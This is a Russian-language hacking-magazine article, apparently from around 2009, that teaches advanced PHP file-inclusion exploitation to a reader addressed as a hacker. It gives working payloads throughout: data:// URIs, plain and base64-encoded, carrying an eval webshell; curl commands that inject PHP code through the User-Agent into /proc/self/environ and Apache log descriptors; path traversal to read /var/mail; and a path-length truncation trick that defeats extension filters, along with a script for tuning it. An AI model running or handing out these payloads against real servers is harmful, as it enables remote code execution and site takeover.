Спроси себя: что ты знаешь об удаленном или локальном инклуде? Наверняка, в
ответе будут следующие фразы: "обрезание неугодного расширения с помощью
нулл-байта", "инклуд файлов сессии из /tmp, картинок с шеллом, логов апача…".
Спешу заверить, что это далеко не все способы выжать из инклуда абсолютный
максимум! Сейчас я в подробностях расскажу о недавно опубликованных
интереснейших способах эксплуатации этого распространенного бага.

 

Протокол "Data"

Первым делом хочу познакомить тебя с отличным способом обхода множества
хитрых фильтраций при удаленном инклуде. Сей способ заключается в использовании
протокола Data (для понимания протокола желательно изучить RFC 2397, ссылки на
который, как всегда, ищи в сносках).

Итак, представь, что в исследуемом php-скрипте (php>=5.2.0 — именно с этой
версии включена поддержка data и других протоколов) содержится следующий код:

<?php
$dir = $_GET['dir'];

//наш мега-фильтр
$dir = str_replace(array('http://','ftp://','/','.'), '', $dir);

//стандартный файл инклуда для любой директории
$dir .= '/pages/default.php';

//собственно, инклуд
include($dir . '/pages/default.php');

?>

Кажется, что в этой ситуации не прокатит никакой удаленный инклуд. Ведь,
кроме того, что режутся стандартные ‘http://’,’ftp://’, под нож фильтра попадают
еще и точка со слешем!

А теперь посмотри внимательно на следующий эксплойт для нашей RFI и красивого
обхода фильтра, мешающего добросовестному хакеру (как и при любом другом
удаленном инклуде, директива PHP — allow_url_include, естественно, должна
находиться в положении On):

http://localhost/index.php?dir=data:,<?php eval($_REQUEST[cmd]);
?>&cmd=phpinfo();

Этот код вполне успешно покажет тебе вывод функции phpinfo()! Но что делать,
когда фильтрация становится еще более жесткой и принимает примерно следующий
вид?

<?php
...
//более навороченный фильтр
$dir = str_replace(array('_',']','[',')','(','$','http://','ftp://','/','.'),
'', $dir);
$dir = htmlspecialchars($dir);
...
?>

Ты снова можешь подумать, что здесь невозможно выполнить произвольный php-код
(даже по приведенному выше сценарию), так как фильтром режутся практически все
символы, используемые в нашем evil-коде. Но не тут-то было. Уже полюбившийся
тебе протокол "data" поддерживает такую полезную вещь, как base64 (кстати, если
фильтруются и символы "+", "=", наверняка, ты сможешь подобрать base64-значение
своего шелла без них).

http://localhost/index.php?dir=data:;base64,
PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8+&cmd=phpinfo();

("+" заменить на url-кодированное "%2b")

Но нельзя останавливаться на одном лишь RFI. Приготовься к самому вкусному.

 

Услужливый /proc/self/environ

Представь, что на определенном сайте (http://site.com) присутствует следующий
php-код:

<?php
$page = $_GET['page'];
include('./pages/'.$page);
?>

Затем вообрази, что возможности залить файл/картинку с шеллом у нас нет, пути
к логам апача мы не нашли, а в /tmp не сохраняются данные сессий. Соседних
сайтов также нет. Что делать?

Неискушенный в LFI хакер опустил бы руки. Мы не из таких, ибо на помощь
спешит хранилище переменных окружения /proc/self/environ! Итак, когда мы
запрашиваем любую php-страничку на сервере, создается новый процесс. В
*nix-системах каждый процесс имеет свою собственную запись в /proc, а
/proc/self, в свою очередь, – это статический путь и символическая ссылка,
содержащая полезную информацию для последних процессов.

Если мы инжектнем наш evil-код в /proc/self/environ, то сможем запускать
произвольные команды с помощью LFI :). Заманчиво? А теперь, собственно, вопрос:
каким образом можно вставить свое значение с evil-кодом в /proc/self/environ?

Очень просто! Тем же способом, каким ты инжектишь свой код в логи апача,
можно проинжектить код и в /proc/self/environ.

Для примера возьмем наш любимый и легко подменяемый юзерагент. По дефолту
часть /proc/self/environ, показывающая useragent, выглядит примерно так:

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=admin@site.com
...
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=150
...

А теперь меняем юзерагент на <?php eval($_GET[cmd]); ?> и обращаемся к нашему
уязвимому скрипту следующим образом:

curl
"http://site.com/index.php?page=../../../../../../../../proc/self/environ&cmd=phpinfo();"
-H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Как и следовало ожидать, функция phpinfo() успешно выполнится. При этом часть
/proc/self/environ с юзерагентом будет выглядеть так:

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=admin@site.com
...
<?php eval($_GET[cmd]); ?> HTTP_KEEP_ALIVE=150
...

Метод всем хорош, кроме того, что строка юзерагента и evil-код должны быть
внедрены быстро и одновременно (так как твой код в /proc/self/environ легко
сможет изменить любой другой только что запущенный процесс). Поэтому, намотав
вновь полученные знания на ус, переходим к следующему способу.

 

Логи, мы вас найдем!

Снова представь, что у нас есть сайт с локальным инклудом, но проинклудить
ничего не получается. Как узнать местонахождение апачевских access_log и
error_log? По секрету скажу, что знать, где они лежат, вовсе не обязательно! Для
нас постарался все тот же /proc, ведь здесь расположена удобная символическая
ссылка на реальную локацию логов apache.

Использовать ее для инклуда можно несколькими способами:

1. Через id процесса и ярлыки

/proc/%{PID}/fd/%{FD_ID}

Здесь: %{PID} — ид процесса (узнать можно, прочитав /proc/self/status),
%{FD_ID} — ярлыки на соответствующие файлы (обычно 2 и 7 — логи апача).

Пример:

http://site.com/index.php?page=../../../../../../../../proc/self/status

Допустим, %{PID} равен 1228, тогда конечный эксплойт будет выглядеть
следующим образом:

curl
"http://site.com/index.php?page=../../../../../../../../proc/1228/fd/2&cmd=phpinfo();"
-H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

2. Напрямую, без узнавания id процесса

curl
"http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();"
-H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Этот способ более приемлем для тебя, так как "self" — это всегда текущий
процесс, а в первом случае %{PID} имеет дурное свойство очень часто меняться. В
обоих перечисленных способах, как и в любом другом LFI логов апача, эти самые
логи, естественно, должны быть доступны для чтения.

 

Полезное мыло

На этот раз тебе необходимо представить, что на сайте жертвы не работают все
предыдущие способы LFI. Невероятно и страшно! Но такие случаи действительно
бывают, и итальянские хакеры secteam смогли придумать удивительный способ
инклуда через обычный e-mail!

Итак, большинство типичных веб-приложений содержат в себе функцию отправки
мыла в качестве части регистрационной системы, каких-либо подписок и т.д.
Зачастую юзер может изменять содержимое такого письма. В то же время никсы могут
сохранять такое мыло локально.

Сама техника LFI через mail выглядит следующим образом:

  1. У атакующего есть профайл в веб-приложении на уязвимом сервере.
  2. Атакующий изменяет какую-либо часть профайла (например, about), которая
    должна прийти в письме в качестве подтверждения смены информации, на свой
    evil-php код, подготовленный для локального инклуда.
  3. Атакующий изменяет свой e-mail на www-data@localhost (www-data — юзер, под
    которым запущен httpd; им могут быть такие значения, как "apache", "wwwrun",
    "nobody", "wwwdata" и т.д.).

В итоге, отправленное мыло будет лежать в /var/mail (либо в /var/spool/mail)
и иметь название юзера httpd.

Вот эксплойт для этого способа:

curl
"http://site.com/index.php?page=../../../../../../../../var/mail/www-data&cmd=phpinfo();"

Также, стоит отметить, что mail-файл будет доступен только тому юзеру, кому и
предназначено письмо (то есть, апач должен быть обязательно запущен под тем же
пользователем).

 

Null-байт отдыхает

Снова включи воображение и представь, что все вышеописанные способы отлично
работают, но уязвимое приложение содержит на этот раз следующий код:

<?php
$page = $_GET['page'];

//защита от "ядовитого нуля"
if (!get_magic_quotes_gpc())
$page = addslashes($page);

include('./pages/'.$page.'.php');
?>

Как быть? Можно проинклудить логи, но в конце дописывается не обрезаемое
обычным %00 расширение ".php".

На этот раз тебе поможет фича (или все-таки уязвимость?) самого php,
обнаруженная юзером популярного забугорного хакерского форума sla.ckers.org со
странным ником barbarianbob.

Фича заключается в том, что интерпретатор php во время обработки пути до
какого-либо файла или папки обрезает лишние символы "/" и "/.", а также, в
зависимости от платформы, использует определенное ограничение на длину этого
самого пути (ограничение хранится в константе MAXPATHLEN). В результате, все
символы, находящиеся за пределами этого значения, отбрасываются.

Теперь давай подробней рассмотрим этот вектор LFI, обратившись к уязвимому
скрипту следующим образом:

curl
"http://site.com/index.php?page=../../../../../../../../proc/self/environ///////////[4096
слешей]////////&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Наш любимый phpinfo(); выполнится успешно из-за нескольких причин.

1. Инклуд в самом скрипте примет следующий вид:

<?php
...
include('./pages/../../../../../../../../proc/self/environ//////////[4096
слешей]////.php');
...
?>

2. Так как наш путь получится гораздо длиннее, чем MAXPATHLEN (кстати,
необязательно он будет равен именно 4096; в винде, например, он может быть равен
всего лишь 200 символам с хвостиком, – советую на каждой системе тестить это
значение отдельно), то символы, находящиеся в конце пути (в данном случае —
некоторое количество слешей и ".php"), интерпретатор php, не спрашивая ни у кого
разрешения, успешно отсечет.

3. После пункта "2" наш код примет примерно такой вид:

<?php
...
include('./pages/../../../../../../../../proc/self/environ/////////////[куча
слешей]');
...
?>

Как тебе уже известно, лишние слеши в конце пути услужливый php также
обрежет, и наш злонамеренный код, в конце концов, превратится во вполне рабочий
LFI!

<?php
...
include('./pages/../../../../../../../../proc/self/environ');
...
?>

Для теста количества слешей для использования в данной уязвимости на своем
сервере советую попробовать следующий php-скрипт.

<?php
//какой файл нужно проинклудить
$file_for_include = 'work.txt';
for($i=1;$i<=4096;$i++)
{
$its_work =
file_get_contents('http://localhost/test/'.$file_for_include.str_repeat('/',$i).'.php');
if($its_work=='1')
{
print 'Использовано слешей: '.$i;
break;
}
}
?>

Рядом со скриптом просто положи файл work.txt с записанной в нем единичкой.

Если инклуд произошел успешно, скрипт выведет тебе количество слешей,
использованных для этого самого инклуда.

Для полноты понимания технических сторон данного бага советую очень
внимательно изучить соответствующие ссылки в сносках.

 

И напоследок…

Как видишь, прогресс в ресерчинге уязвимостей не стоит на месте. Новые баги
находятся уже не в php-скриптах, а в самом интерпретаторе php! То, что раньше,
казалось, взломать невозможно, сейчас представляется не более чем детской
шалостью и развлечением для матерого хакера.

Null-байт уже практически канул в лету, инклуд логов апача обрастает новыми
изощренными методами, RFI становится доступным через протоколы, отличные от ftp
и http… Что дальше? Поживем — увидим. Естественно, в наших рубриках :).

 

WWW


ru.php.net/manual/ru/wrappers.data.php
— протокол Data (RFC 2397) и описание
его использования в php.


en.wikipedia.org/wiki/Data_URI_scheme
— описание самого протокола.


milw0rm.com/papers/260
— все о LFI/RFI.


itbloggen.se/cs/blogs/secteam/archive/2009/01/26/alternative-ways-to-exploit-PHP-remote-file-include-vulnerabilities.aspx

— инклуд через mail.


ush.it/2009/02/08/php-filesystem-attack-vectors
— атака на php-filesystem.


raz0r.name/articles/null-byte-alternative
— подробно об альтернативе
нулл-байту.

 

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!

Оставить мнение

Check Also

Страдания с ReactOS. Почему в заменителе Windows работают трояны, но не работает Word

Сегодня в нашей кунсткамере демонстрируется необычайный организм — двадцатилетний зародыш …